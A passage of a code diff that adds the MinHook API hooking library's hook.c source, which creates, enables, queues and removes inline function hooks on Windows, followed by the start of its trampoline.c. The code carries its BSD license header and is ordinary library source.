0x40,0x40,0x64,0x66,0x6e,0x6b,0x40,0x40,0x6a,0x46,0x40,0x40,0x44,0x46,0x40,
0x40,0x5b,0x44,0x40,0x40,0x00,0x00,0x00,0x00,0x06,0x06,0x06,0x06,0x01,0x06,
0x06,0x02,0x06,0x06,0x00,0x06,0x00,0x0a,0x0a,0x00,0x00,0x00,0x02,0x07,0x07,
0x06,0x02,0x0d,0x06,0x06,0x06,0x0e,0x05,0x05,0x02,0x02,0x00,0x00,0x04,0x04,
0x04,0x04,0x05,0x06,0x06,0x06,0x00,0x00,0x00,0x0e,0x00,0x00,0x08,0x00,0x10,
0x00,0x18,0x00,0x20,0x00,0x28,0x00,0x30,0x00,0x80,0x01,0x82,0x01,0x86,0x00,
0xf6,0xcf,0xfe,0x3f,0xab,0x00,0xb0,0x00,0xb1,0x00,0xb3,0x00,0xba,0xf8,0xbb,
0x00,0xc0,0x00,0xc1,0x00,0xc7,0xbf,0x62,0xff,0x00,0x8d,0xff,0x00,0xc4,0xff,
0x00,0xc5,0xff,0x00,0xff,0xff,0xeb,0x01,0xff,0x0e,0x12,0x08,0x00,0x13,0x09,
0x00,0x16,0x08,0x00,0x17,0x09,0x00,0x2b,0x09,0x00,0xae,0xff,0x07,0xb2,0xff,
0x00,0xb4,0xff,0x00,0xb5,0xff,0x00,0xc3,0x01,0x00,0xc7,0xff,0xbf,0xe7,0x08,
0x00,0xf0,0x02,0x00
};
+939
View File
@@ -0,0 +1,939 @@
/*
* MinHook - The Minimalistic API Hooking Library for x64/x86
* Copyright (C) 2009-2017 Tsuda Kageyu.
* All rights reserved.
*
* Redistribution and use in source and binary forms, with or without
* modification, are permitted provided that the following conditions
* are met:
*
* 1. Redistributions of source code must retain the above copyright
* notice, this list of conditions and the following disclaimer.
* 2. Redistributions in binary form must reproduce the above copyright
* notice, this list of conditions and the following disclaimer in the
* documentation and/or other materials provided with the distribution.
*
* THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
* "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED
* TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A
* PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER
* OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL,
* EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO,
* PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR
* PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF
* LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING
* NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS
* SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
*/
#include <windows.h>
#include <tlhelp32.h>
#include <limits.h>
#include "../include/MinHook.h"
#include "buffer.h"
#include "trampoline.h"
#ifndef ARRAYSIZE
#define ARRAYSIZE(A) (sizeof(A)/sizeof((A)[0]))
#endif
// Initial capacity of the HOOK_ENTRY buffer.
#define INITIAL_HOOK_CAPACITY 32
// Initial capacity of the thread IDs buffer.
#define INITIAL_THREAD_CAPACITY 128
// Special hook position values.
#define INVALID_HOOK_POS UINT_MAX
#define ALL_HOOKS_POS UINT_MAX
// Freeze() action argument defines.
#define ACTION_DISABLE 0
#define ACTION_ENABLE 1
#define ACTION_APPLY_QUEUED 2
// Thread access rights for suspending/resuming threads.
#define THREAD_ACCESS \
(THREAD_SUSPEND_RESUME | THREAD_GET_CONTEXT | THREAD_QUERY_INFORMATION | THREAD_SET_CONTEXT)
// Hook information.
typedef struct _HOOK_ENTRY
{
LPVOID pTarget; // Address of the target function.
LPVOID pDetour; // Address of the detour or relay function.
LPVOID pTrampoline; // Address of the trampoline function.
UINT8 backup[8]; // Original prologue of the target function.
UINT8 patchAbove : 1; // Uses the hot patch area.
UINT8 isEnabled : 1; // Enabled.
UINT8 queueEnable : 1; // Queued for enabling/disabling when != isEnabled.
UINT nIP : 4; // Count of the instruction boundaries.
UINT8 oldIPs[8]; // Instruction boundaries of the target function.
UINT8 newIPs[8]; // Instruction boundaries of the trampoline function.
} HOOK_ENTRY, *PHOOK_ENTRY;
// Suspended threads for Freeze()/Unfreeze().
typedef struct _FROZEN_THREADS
{
LPDWORD pItems; // Data heap
UINT capacity; // Size of allocated data heap, items
UINT size; // Actual number of data items
} FROZEN_THREADS, *PFROZEN_THREADS;
//-------------------------------------------------------------------------
// Global Variables:
//-------------------------------------------------------------------------
// Spin lock flag for EnterSpinLock()/LeaveSpinLock().
static volatile LONG g_isLocked = FALSE;
// Private heap handle. If not NULL, this library is initialized.
static HANDLE g_hHeap = NULL;
// Hook entries.
static struct
{
PHOOK_ENTRY pItems; // Data heap
UINT capacity; // Size of allocated data heap, items
UINT size; // Actual number of data items
} g_hooks;
//-------------------------------------------------------------------------
// Returns INVALID_HOOK_POS if not found.
static UINT FindHookEntry(LPVOID pTarget)
{
UINT i;
for (i = 0; i < g_hooks.size; ++i)
{
if ((ULONG_PTR)pTarget == (ULONG_PTR)g_hooks.pItems[i].pTarget)
return i;
}
return INVALID_HOOK_POS;
}
//-------------------------------------------------------------------------
static PHOOK_ENTRY AddHookEntry()
{
if (g_hooks.pItems == NULL)
{
g_hooks.capacity = INITIAL_HOOK_CAPACITY;
g_hooks.pItems = (PHOOK_ENTRY)HeapAlloc(
g_hHeap, 0, g_hooks.capacity * sizeof(HOOK_ENTRY));
if (g_hooks.pItems == NULL)
return NULL;
}
else if (g_hooks.size >= g_hooks.capacity)
{
PHOOK_ENTRY p = (PHOOK_ENTRY)HeapReAlloc(
g_hHeap, 0, g_hooks.pItems, (g_hooks.capacity * 2) * sizeof(HOOK_ENTRY));
if (p == NULL)
return NULL;
g_hooks.capacity *= 2;
g_hooks.pItems = p;
}
return &g_hooks.pItems[g_hooks.size++];
}
//-------------------------------------------------------------------------
static VOID DeleteHookEntry(UINT pos)
{
if (pos < g_hooks.size - 1)
g_hooks.pItems[pos] = g_hooks.pItems[g_hooks.size - 1];
g_hooks.size--;
if (g_hooks.capacity / 2 >= INITIAL_HOOK_CAPACITY && g_hooks.capacity / 2 >= g_hooks.size)
{
PHOOK_ENTRY p = (PHOOK_ENTRY)HeapReAlloc(
g_hHeap, 0, g_hooks.pItems, (g_hooks.capacity / 2) * sizeof(HOOK_ENTRY));
if (p == NULL)
return;
g_hooks.capacity /= 2;
g_hooks.pItems = p;
}
}
//-------------------------------------------------------------------------
static DWORD_PTR FindOldIP(PHOOK_ENTRY pHook, DWORD_PTR ip)
{
UINT i;
if (pHook->patchAbove && ip == ((DWORD_PTR)pHook->pTarget - sizeof(JMP_REL)))
return (DWORD_PTR)pHook->pTarget;
for (i = 0; i < pHook->nIP; ++i)
{
if (ip == ((DWORD_PTR)pHook->pTrampoline + pHook->newIPs[i]))
return (DWORD_PTR)pHook->pTarget + pHook->oldIPs[i];
}
#if defined(_M_X64) || defined(__x86_64__)
// Check relay function.
if (ip == (DWORD_PTR)pHook->pDetour)
return (DWORD_PTR)pHook->pTarget;
#endif
return 0;
}
//-------------------------------------------------------------------------
static DWORD_PTR FindNewIP(PHOOK_ENTRY pHook, DWORD_PTR ip)
{
UINT i;
for (i = 0; i < pHook->nIP; ++i)
{
if (ip == ((DWORD_PTR)pHook->pTarget + pHook->oldIPs[i]))
return (DWORD_PTR)pHook->pTrampoline + pHook->newIPs[i];
}
return 0;
}
//-------------------------------------------------------------------------
static VOID ProcessThreadIPs(HANDLE hThread, UINT pos, UINT action)
{
// If the thread suspended in the overwritten area,
// move IP to the proper address.
CONTEXT c;
#if defined(_M_X64) || defined(__x86_64__)
DWORD64 *pIP = &c.Rip;
#else
DWORD *pIP = &c.Eip;
#endif
UINT count;
c.ContextFlags = CONTEXT_CONTROL;
if (!GetThreadContext(hThread, &c))
return;
if (pos == ALL_HOOKS_POS)
{
pos = 0;
count = g_hooks.size;
}
else
{
count = pos + 1;
}
for (; pos < count; ++pos)
{
PHOOK_ENTRY pHook = &g_hooks.pItems[pos];
BOOL enable;
DWORD_PTR ip;
switch (action)
{
case ACTION_DISABLE:
enable = FALSE;
break;
case ACTION_ENABLE:
enable = TRUE;
break;
default: // ACTION_APPLY_QUEUED
enable = pHook->queueEnable;
break;
}
if (pHook->isEnabled == enable)
continue;
if (enable)
ip = FindNewIP(pHook, *pIP);
else
ip = FindOldIP(pHook, *pIP);
if (ip != 0)
{
*pIP = ip;
SetThreadContext(hThread, &c);
}
}
}
//-------------------------------------------------------------------------
static BOOL EnumerateThreads(PFROZEN_THREADS pThreads)
{
BOOL succeeded = FALSE;
HANDLE hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPTHREAD, 0);
if (hSnapshot != INVALID_HANDLE_VALUE)
{
THREADENTRY32 te;
te.dwSize = sizeof(THREADENTRY32);
if (Thread32First(hSnapshot, &te))
{
succeeded = TRUE;
do
{
if (te.dwSize >= (FIELD_OFFSET(THREADENTRY32, th32OwnerProcessID) + sizeof(DWORD))
&& te.th32OwnerProcessID == GetCurrentProcessId()
&& te.th32ThreadID != GetCurrentThreadId())
{
if (pThreads->pItems == NULL)
{
pThreads->capacity = INITIAL_THREAD_CAPACITY;
pThreads->pItems
= (LPDWORD)HeapAlloc(g_hHeap, 0, pThreads->capacity * sizeof(DWORD));
if (pThreads->pItems == NULL)
{
succeeded = FALSE;
break;
}
}
else if (pThreads->size >= pThreads->capacity)
{
LPDWORD p;
pThreads->capacity *= 2;
p = (LPDWORD)HeapReAlloc(
g_hHeap, 0, pThreads->pItems, pThreads->capacity * sizeof(DWORD));
if (p == NULL)
{
succeeded = FALSE;
break;
}
pThreads->pItems = p;
}
pThreads->pItems[pThreads->size++] = te.th32ThreadID;
}
te.dwSize = sizeof(THREADENTRY32);
} while (Thread32Next(hSnapshot, &te));
if (succeeded && GetLastError() != ERROR_NO_MORE_FILES)
succeeded = FALSE;
if (!succeeded && pThreads->pItems != NULL)
{
HeapFree(g_hHeap, 0, pThreads->pItems);
pThreads->pItems = NULL;
}
}
CloseHandle(hSnapshot);
}
return succeeded;
}
//-------------------------------------------------------------------------
static MH_STATUS Freeze(PFROZEN_THREADS pThreads, UINT pos, UINT action)
{
MH_STATUS status = MH_OK;
pThreads->pItems = NULL;
pThreads->capacity = 0;
pThreads->size = 0;
if (!EnumerateThreads(pThreads))
{
status = MH_ERROR_MEMORY_ALLOC;
}
else if (pThreads->pItems != NULL)
{
UINT i;
for (i = 0; i < pThreads->size; ++i)
{
HANDLE hThread = OpenThread(THREAD_ACCESS, FALSE, pThreads->pItems[i]);
BOOL suspended = FALSE;
if (hThread != NULL)
{
DWORD result = SuspendThread(hThread);
if (result != 0xFFFFFFFF)
{
suspended = TRUE;
ProcessThreadIPs(hThread, pos, action);
}
CloseHandle(hThread);
}
if (!suspended)
{
// Mark thread as not suspended, so it's not resumed later on.
pThreads->pItems[i] = 0;
}
}
}
return status;
}
//-------------------------------------------------------------------------
static VOID Unfreeze(PFROZEN_THREADS pThreads)
{
if (pThreads->pItems != NULL)
{
UINT i;
for (i = 0; i < pThreads->size; ++i)
{
DWORD threadId = pThreads->pItems[i];
if (threadId != 0)
{
HANDLE hThread = OpenThread(THREAD_ACCESS, FALSE, threadId);
if (hThread != NULL)
{
ResumeThread(hThread);
CloseHandle(hThread);
}
}
}
HeapFree(g_hHeap, 0, pThreads->pItems);
}
}
//-------------------------------------------------------------------------
static MH_STATUS EnableHookLL(UINT pos, BOOL enable)
{
PHOOK_ENTRY pHook = &g_hooks.pItems[pos];
DWORD oldProtect;
SIZE_T patchSize = sizeof(JMP_REL);
LPBYTE pPatchTarget = (LPBYTE)pHook->pTarget;
if (pHook->patchAbove)
{
pPatchTarget -= sizeof(JMP_REL);
patchSize += sizeof(JMP_REL_SHORT);
}
if (!VirtualProtect(pPatchTarget, patchSize, PAGE_EXECUTE_READWRITE, &oldProtect))
return MH_ERROR_MEMORY_PROTECT;
if (enable)
{
PJMP_REL pJmp = (PJMP_REL)pPatchTarget;
pJmp->opcode = 0xE9;
pJmp->operand = (INT32)((LPBYTE)pHook->pDetour - (pPatchTarget + sizeof(JMP_REL)));
if (pHook->patchAbove)
{
PJMP_REL_SHORT pShortJmp = (PJMP_REL_SHORT)pHook->pTarget;
pShortJmp->opcode = 0xEB;
pShortJmp->operand = (INT8)(0 - (sizeof(JMP_REL_SHORT) + sizeof(JMP_REL)));
}
}
else
{
if (pHook->patchAbove)
memcpy(pPatchTarget, pHook->backup, sizeof(JMP_REL) + sizeof(JMP_REL_SHORT));
else
memcpy(pPatchTarget, pHook->backup, sizeof(JMP_REL));
}
VirtualProtect(pPatchTarget, patchSize, oldProtect, &oldProtect);
// Just-in-case measure.
FlushInstructionCache(GetCurrentProcess(), pPatchTarget, patchSize);
pHook->isEnabled = enable;
pHook->queueEnable = enable;
return MH_OK;
}
//-------------------------------------------------------------------------
static MH_STATUS EnableAllHooksLL(BOOL enable)
{
MH_STATUS status = MH_OK;
UINT i, first = INVALID_HOOK_POS;
for (i = 0; i < g_hooks.size; ++i)
{
if (g_hooks.pItems[i].isEnabled != enable)
{
first = i;
break;
}
}
if (first != INVALID_HOOK_POS)
{
FROZEN_THREADS threads;
status = Freeze(&threads, ALL_HOOKS_POS, enable ? ACTION_ENABLE : ACTION_DISABLE);
if (status == MH_OK)
{
for (i = first; i < g_hooks.size; ++i)
{
if (g_hooks.pItems[i].isEnabled != enable)
{
status = EnableHookLL(i, enable);
if (status != MH_OK)
break;
}
}
Unfreeze(&threads);
}
}
return status;
}
//-------------------------------------------------------------------------
static VOID EnterSpinLock(VOID)
{
SIZE_T spinCount = 0;
// Wait until the flag is FALSE.
while (InterlockedCompareExchange(&g_isLocked, TRUE, FALSE) != FALSE)
{
// No need to generate a memory barrier here, since InterlockedCompareExchange()
// generates a full memory barrier itself.
// Prevent the loop from being too busy.
if (spinCount < 32)
Sleep(0);
else
Sleep(1);
spinCount++;
}
}
//-------------------------------------------------------------------------
static VOID LeaveSpinLock(VOID)
{
// No need to generate a memory barrier here, since InterlockedExchange()
// generates a full memory barrier itself.
InterlockedExchange(&g_isLocked, FALSE);
}
//-------------------------------------------------------------------------
MH_STATUS WINAPI MH_Initialize(VOID)
{
MH_STATUS status = MH_OK;
EnterSpinLock();
if (g_hHeap == NULL)
{
g_hHeap = HeapCreate(0, 0, 0);
if (g_hHeap != NULL)
{
// Initialize the internal function buffer.
InitializeBuffer();
}
else
{
status = MH_ERROR_MEMORY_ALLOC;
}
}
else
{
status = MH_ERROR_ALREADY_INITIALIZED;
}
LeaveSpinLock();
return status;
}
//-------------------------------------------------------------------------
MH_STATUS WINAPI MH_Uninitialize(VOID)
{
MH_STATUS status = MH_OK;
EnterSpinLock();
if (g_hHeap != NULL)
{
status = EnableAllHooksLL(FALSE);
if (status == MH_OK)
{
// Free the internal function buffer.
// HeapFree is actually not required, but some tools detect a false
// memory leak without HeapFree.
UninitializeBuffer();
HeapFree(g_hHeap, 0, g_hooks.pItems);
HeapDestroy(g_hHeap);
g_hHeap = NULL;
g_hooks.pItems = NULL;
g_hooks.capacity = 0;
g_hooks.size = 0;
}
}
else
{
status = MH_ERROR_NOT_INITIALIZED;
}
LeaveSpinLock();
return status;
}
//-------------------------------------------------------------------------
MH_STATUS WINAPI MH_CreateHook(LPVOID pTarget, LPVOID pDetour, LPVOID *ppOriginal)
{
MH_STATUS status = MH_OK;
EnterSpinLock();
if (g_hHeap != NULL)
{
if (IsExecutableAddress(pTarget) && IsExecutableAddress(pDetour))
{
UINT pos = FindHookEntry(pTarget);
if (pos == INVALID_HOOK_POS)
{
LPVOID pBuffer = AllocateBuffer(pTarget);
if (pBuffer != NULL)
{
TRAMPOLINE ct;
ct.pTarget = pTarget;
ct.pDetour = pDetour;
ct.pTrampoline = pBuffer;
if (CreateTrampolineFunction(&ct))
{
PHOOK_ENTRY pHook = AddHookEntry();
if (pHook != NULL)
{
pHook->pTarget = ct.pTarget;
#if defined(_M_X64) || defined(__x86_64__)
pHook->pDetour = ct.pRelay;
#else
pHook->pDetour = ct.pDetour;
#endif
pHook->pTrampoline = ct.pTrampoline;
pHook->patchAbove = ct.patchAbove;
pHook->isEnabled = FALSE;
pHook->queueEnable = FALSE;
pHook->nIP = ct.nIP;
memcpy(pHook->oldIPs, ct.oldIPs, ARRAYSIZE(ct.oldIPs));
memcpy(pHook->newIPs, ct.newIPs, ARRAYSIZE(ct.newIPs));
// Back up the target function.
if (ct.patchAbove)
{
memcpy(
pHook->backup,
(LPBYTE)pTarget - sizeof(JMP_REL),
sizeof(JMP_REL) + sizeof(JMP_REL_SHORT));
}
else
{
memcpy(pHook->backup, pTarget, sizeof(JMP_REL));
}
if (ppOriginal != NULL)
*ppOriginal = pHook->pTrampoline;
}
else
{
status = MH_ERROR_MEMORY_ALLOC;
}
}
else
{
status = MH_ERROR_UNSUPPORTED_FUNCTION;
}
if (status != MH_OK)
{
FreeBuffer(pBuffer);
}
}
else
{
status = MH_ERROR_MEMORY_ALLOC;
}
}
else
{
status = MH_ERROR_ALREADY_CREATED;
}
}
else
{
status = MH_ERROR_NOT_EXECUTABLE;
}
}
else
{
status = MH_ERROR_NOT_INITIALIZED;
}
LeaveSpinLock();
return status;
}
//-------------------------------------------------------------------------
MH_STATUS WINAPI MH_RemoveHook(LPVOID pTarget)
{
MH_STATUS status = MH_OK;
EnterSpinLock();
if (g_hHeap != NULL)
{
UINT pos = FindHookEntry(pTarget);
if (pos != INVALID_HOOK_POS)
{
if (g_hooks.pItems[pos].isEnabled)
{
FROZEN_THREADS threads;
status = Freeze(&threads, pos, ACTION_DISABLE);
if (status == MH_OK)
{
status = EnableHookLL(pos, FALSE);
Unfreeze(&threads);
}
}
if (status == MH_OK)
{
FreeBuffer(g_hooks.pItems[pos].pTrampoline);
DeleteHookEntry(pos);
}
}
else
{
status = MH_ERROR_NOT_CREATED;
}
}
else
{
status = MH_ERROR_NOT_INITIALIZED;
}
LeaveSpinLock();
return status;
}
//-------------------------------------------------------------------------
static MH_STATUS EnableHook(LPVOID pTarget, BOOL enable)
{
MH_STATUS status = MH_OK;
EnterSpinLock();
if (g_hHeap != NULL)
{
if (pTarget == MH_ALL_HOOKS)
{
status = EnableAllHooksLL(enable);
}
else
{
UINT pos = FindHookEntry(pTarget);
if (pos != INVALID_HOOK_POS)
{
if (g_hooks.pItems[pos].isEnabled != enable)
{
FROZEN_THREADS threads;
status = Freeze(&threads, pos, ACTION_ENABLE);
if (status == MH_OK)
{
status = EnableHookLL(pos, enable);
Unfreeze(&threads);
}
}
else
{
status = enable ? MH_ERROR_ENABLED : MH_ERROR_DISABLED;
}
}
else
{
status = MH_ERROR_NOT_CREATED;
}
}
}
else
{
status = MH_ERROR_NOT_INITIALIZED;
}
LeaveSpinLock();
return status;
}
//-------------------------------------------------------------------------
MH_STATUS WINAPI MH_EnableHook(LPVOID pTarget)
{
return EnableHook(pTarget, TRUE);
}
//-------------------------------------------------------------------------
MH_STATUS WINAPI MH_DisableHook(LPVOID pTarget)
{
return EnableHook(pTarget, FALSE);
}
//-------------------------------------------------------------------------
static MH_STATUS QueueHook(LPVOID pTarget, BOOL queueEnable)
{
MH_STATUS status = MH_OK;
EnterSpinLock();
if (g_hHeap != NULL)
{
if (pTarget == MH_ALL_HOOKS)
{
UINT i;
for (i = 0; i < g_hooks.size; ++i)
g_hooks.pItems[i].queueEnable = queueEnable;
}
else
{
UINT pos = FindHookEntry(pTarget);
if (pos != INVALID_HOOK_POS)
{
g_hooks.pItems[pos].queueEnable = queueEnable;
}
else
{
status = MH_ERROR_NOT_CREATED;
}
}
}
else
{
status = MH_ERROR_NOT_INITIALIZED;
}
LeaveSpinLock();
return status;
}
//-------------------------------------------------------------------------
MH_STATUS WINAPI MH_QueueEnableHook(LPVOID pTarget)
{
return QueueHook(pTarget, TRUE);
}
//-------------------------------------------------------------------------
MH_STATUS WINAPI MH_QueueDisableHook(LPVOID pTarget)
{
return QueueHook(pTarget, FALSE);
}
//-------------------------------------------------------------------------
MH_STATUS WINAPI MH_ApplyQueued(VOID)
{
MH_STATUS status = MH_OK;
UINT i, first = INVALID_HOOK_POS;
EnterSpinLock();
if (g_hHeap != NULL)
{
for (i = 0; i < g_hooks.size; ++i)
{
if (g_hooks.pItems[i].isEnabled != g_hooks.pItems[i].queueEnable)
{
first = i;
break;
}
}
if (first != INVALID_HOOK_POS)
{
FROZEN_THREADS threads;
status = Freeze(&threads, ALL_HOOKS_POS, ACTION_APPLY_QUEUED);
if (status == MH_OK)
{
for (i = first; i < g_hooks.size; ++i)
{
PHOOK_ENTRY pHook = &g_hooks.pItems[i];
if (pHook->isEnabled != pHook->queueEnable)
{
status = EnableHookLL(i, pHook->queueEnable);
if (status != MH_OK)
break;
}
}
Unfreeze(&threads);
}
}
}
else
{
status = MH_ERROR_NOT_INITIALIZED;
}
LeaveSpinLock();
return status;
}
//-------------------------------------------------------------------------
MH_STATUS WINAPI MH_CreateHookApiEx(
LPCWSTR pszModule, LPCSTR pszProcName, LPVOID pDetour,
LPVOID *ppOriginal, LPVOID *ppTarget)
{
HMODULE hModule;
LPVOID pTarget;
hModule = GetModuleHandleW(pszModule);
if (hModule == NULL)
return MH_ERROR_MODULE_NOT_FOUND;
pTarget = (LPVOID)GetProcAddress(hModule, pszProcName);
if (pTarget == NULL)
return MH_ERROR_FUNCTION_NOT_FOUND;
if (ppTarget != NULL)
*ppTarget = pTarget;
return MH_CreateHook(pTarget, pDetour, ppOriginal);
}
//-------------------------------------------------------------------------
MH_STATUS WINAPI MH_CreateHookApi(
LPCWSTR pszModule, LPCSTR pszProcName, LPVOID pDetour, LPVOID *ppOriginal)
{
return MH_CreateHookApiEx(pszModule, pszProcName, pDetour, ppOriginal, NULL);
}
//-------------------------------------------------------------------------
const char *WINAPI MH_StatusToString(MH_STATUS status)
{
#define MH_ST2STR(x) \
case x: \
return #x;
switch (status) {
MH_ST2STR(MH_UNKNOWN)
MH_ST2STR(MH_OK)
MH_ST2STR(MH_ERROR_ALREADY_INITIALIZED)
MH_ST2STR(MH_ERROR_NOT_INITIALIZED)
MH_ST2STR(MH_ERROR_ALREADY_CREATED)
MH_ST2STR(MH_ERROR_NOT_CREATED)
MH_ST2STR(MH_ERROR_ENABLED)
MH_ST2STR(MH_ERROR_DISABLED)
MH_ST2STR(MH_ERROR_NOT_EXECUTABLE)
MH_ST2STR(MH_ERROR_UNSUPPORTED_FUNCTION)
MH_ST2STR(MH_ERROR_MEMORY_ALLOC)
MH_ST2STR(MH_ERROR_MEMORY_PROTECT)
MH_ST2STR(MH_ERROR_MODULE_NOT_FOUND)
MH_ST2STR(MH_ERROR_FUNCTION_NOT_FOUND)
}
#undef MH_ST2STR
return "(unknown)";
}
+320
View File
@@ -0,0 +1,320 @@
/*
* MinHook - The Minimalistic API Hooking Library for x64/x86
* Copyright (C) 2009-2017 Tsuda Kageyu.
* All rights reserved.
*
* Redistribution and use in source and binary forms, with or without
* modification, are permitted provided that the following conditions
* are met:
*
* 1. Redistributions of source code must retain the above copyright
* notice, this list of conditions and the following disclaimer.
* 2. Redistributions in binary form must reproduce the above copyright
* notice, this list of conditions and the following disclaimer in the
* documentation and/or other materials provided with the distribution.
*
* THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
* "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED
* TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A
* PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER
* OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL,
* EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO,
* PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR
* PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF
* LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING
* NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS
* SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
*/
#include <windows.h>
#if defined(_MSC_VER) && !defined(MINHOOK_DISABLE_INTRINSICS)
#define ALLOW_INTRINSICS
#include <intrin.h>
#endif
#ifndef ARRAYSIZE
#define ARRAYSIZE(A) (sizeof(A)/sizeof((A)[0]))
#endif
#if defined(_M_X64) || defined(__x86_64__)
#include "./hde/hde64.h"
typedef hde64s HDE;
#define HDE_DISASM(code, hs) hde64_disasm(code, hs)
#else
#include "./hde/hde32.h"
typedef hde32s HDE;
#define HDE_DISASM(code, hs) hde32_disasm(code, hs)
#endif
#include "trampoline.h"
#include "buffer.h"
// Maximum size of a trampoline function.
#if defined(_M_X64) || defined(__x86_64__)
#define TRAMPOLINE_MAX_SIZE (MEMORY_SLOT_SIZE - sizeof(JMP_ABS))
#else
#define TRAMPOLINE_MAX_SIZE MEMORY_SLOT_SIZE
#endif
//-------------------------------------------------------------------------
static BOOL IsCodePadding(LPBYTE pInst, UINT size)
{
UINT i;
if (pInst[0] != 0x00 && pInst[0] != 0x90 && pInst[0] != 0xCC)
return FALSE;
for (i = 1; i < size; ++i)
{
if (pInst[i] != pInst[0])
return FALSE;
}
return TRUE;
}
//-------------------------------------------------------------------------
BOOL CreateTrampolineFunction(PTRAMPOLINE ct)
{
#if defined(_M_X64) || defined(__x86_64__)
CALL_ABS call = {
0xFF, 0x15, 0x00000002, // FF15 00000002: CALL [RIP+8]
0xEB, 0x08, // EB 08: JMP +10
0x0000000000000000ULL // Absolute destination address
};
JMP_ABS jmp = {
0xFF, 0x25, 0x00000000, // FF25 00000000: JMP [RIP+6]
0x0000000000000000ULL // Absolute destination address
};
JCC_ABS jcc = {
0x70, 0x0E, // 7* 0E: J** +16
0xFF, 0x25, 0x00000000, // FF25 00000000: JMP [RIP+6]
0x0000000000000000ULL // Absolute destination address
};
#else
CALL_REL call = {
0xE8, // E8 xxxxxxxx: CALL +5+xxxxxxxx
0x00000000 // Relative destination address
};
JMP_REL jmp = {
0xE9, // E9 xxxxxxxx: JMP +5+xxxxxxxx
0x00000000 // Relative destination address
};
JCC_REL jcc = {
0x0F, 0x80, // 0F8* xxxxxxxx: J** +6+xxxxxxxx
0x00000000 // Relative destination address
};
#endif
UINT8 oldPos = 0;
UINT8 newPos = 0;
ULONG_PTR jmpDest = 0; // Destination address of an internal jump.
BOOL finished = FALSE; // Is the function completed?
#if defined(_M_X64) || defined(__x86_64__)
UINT8 instBuf[16];
#endif
ct->patchAbove = FALSE;
ct->nIP = 0;
do
{
HDE hs;
UINT copySize;
LPVOID pCopySrc;
ULONG_PTR pOldInst = (ULONG_PTR)ct->pTarget + oldPos;
ULONG_PTR pNewInst = (ULONG_PTR)ct->pTrampoline + newPos;
copySize = HDE_DISASM((LPVOID)pOldInst, &hs);
if (hs.flags & F_ERROR)
return FALSE;
pCopySrc = (LPVOID)pOldInst;
if (oldPos >= sizeof(JMP_REL))
{
// The trampoline function is long enough.
// Complete the function with the jump to the target function.
#if defined(_M_X64) || defined(__x86_64__)
jmp.address = pOldInst;
#else
jmp.operand = (INT32)(pOldInst - (pNewInst + sizeof(jmp)));
#endif
pCopySrc = &jmp;
copySize = sizeof(jmp);
finished = TRUE;
}
#if defined(_M_X64) || defined(__x86_64__)
else if ((hs.modrm & 0xC7) == 0x05)
{
// Instructions using RIP relative addressing. (ModR/M = 00???101B)
// Modify the RIP relative address.
PUINT32 pRelAddr;
// Avoid using memcpy to reduce the footprint.
#ifndef ALLOW_INTRINSICS
memcpy(instBuf, (LPBYTE)pOldInst, copySize);
#else
__movsb(instBuf, (LPBYTE)pOldInst, copySize);
#endif
pCopySrc = instBuf;
// Relative address is stored at (instruction length - immediate value length - 4).
pRelAddr = (PUINT32)(instBuf + hs.len - ((hs.flags & 0x3C) >> 2) - 4);
*pRelAddr
= (UINT32)((pOldInst + hs.len + (INT32)hs.disp.disp32) - (pNewInst + hs.len));
// Complete the function if JMP (FF /4).
if (hs.opcode == 0xFF && hs.modrm_reg == 4)
finished = TRUE;
}
#endif
else if (hs.opcode == 0xE8)
{
// Direct relative CALL
ULONG_PTR dest = pOldInst + hs.len + (INT32)hs.imm.imm32;
#if defined(_M_X64) || defined(__x86_64__)
call.address = dest;
#else
call.operand = (INT32)(dest - (pNewInst + sizeof(call)));
#endif
pCopySrc = &call;
copySize = sizeof(call);
}
else if ((hs.opcode & 0xFD) == 0xE9)
{
// Direct relative JMP (EB or E9)
ULONG_PTR dest = pOldInst + hs.len;
if (hs.opcode == 0xEB) // isShort jmp
dest += (INT8)hs.imm.imm8;
else
dest += (INT32)hs.imm.imm32;
// Simply copy an internal jump.
if ((ULONG_PTR)ct->pTarget <= dest
&& dest < ((ULONG_PTR)ct->pTarget + sizeof(JMP_REL)))
{
if (jmpDest < dest)
jmpDest = dest;
}
else
{
#if defined(_M_X64) || defined(__x86_64__)
jmp.address = dest;
#else
jmp.operand = (INT32)(dest - (pNewInst + sizeof(jmp)));
#endif
pCopySrc = &jmp;
copySize = sizeof(jmp);
// Exit the function if it is not in the branch.
finished = (pOldInst >= jmpDest);
}
}
else if ((hs.opcode & 0xF0) == 0x70
|| (hs.opcode & 0xFC) == 0xE0
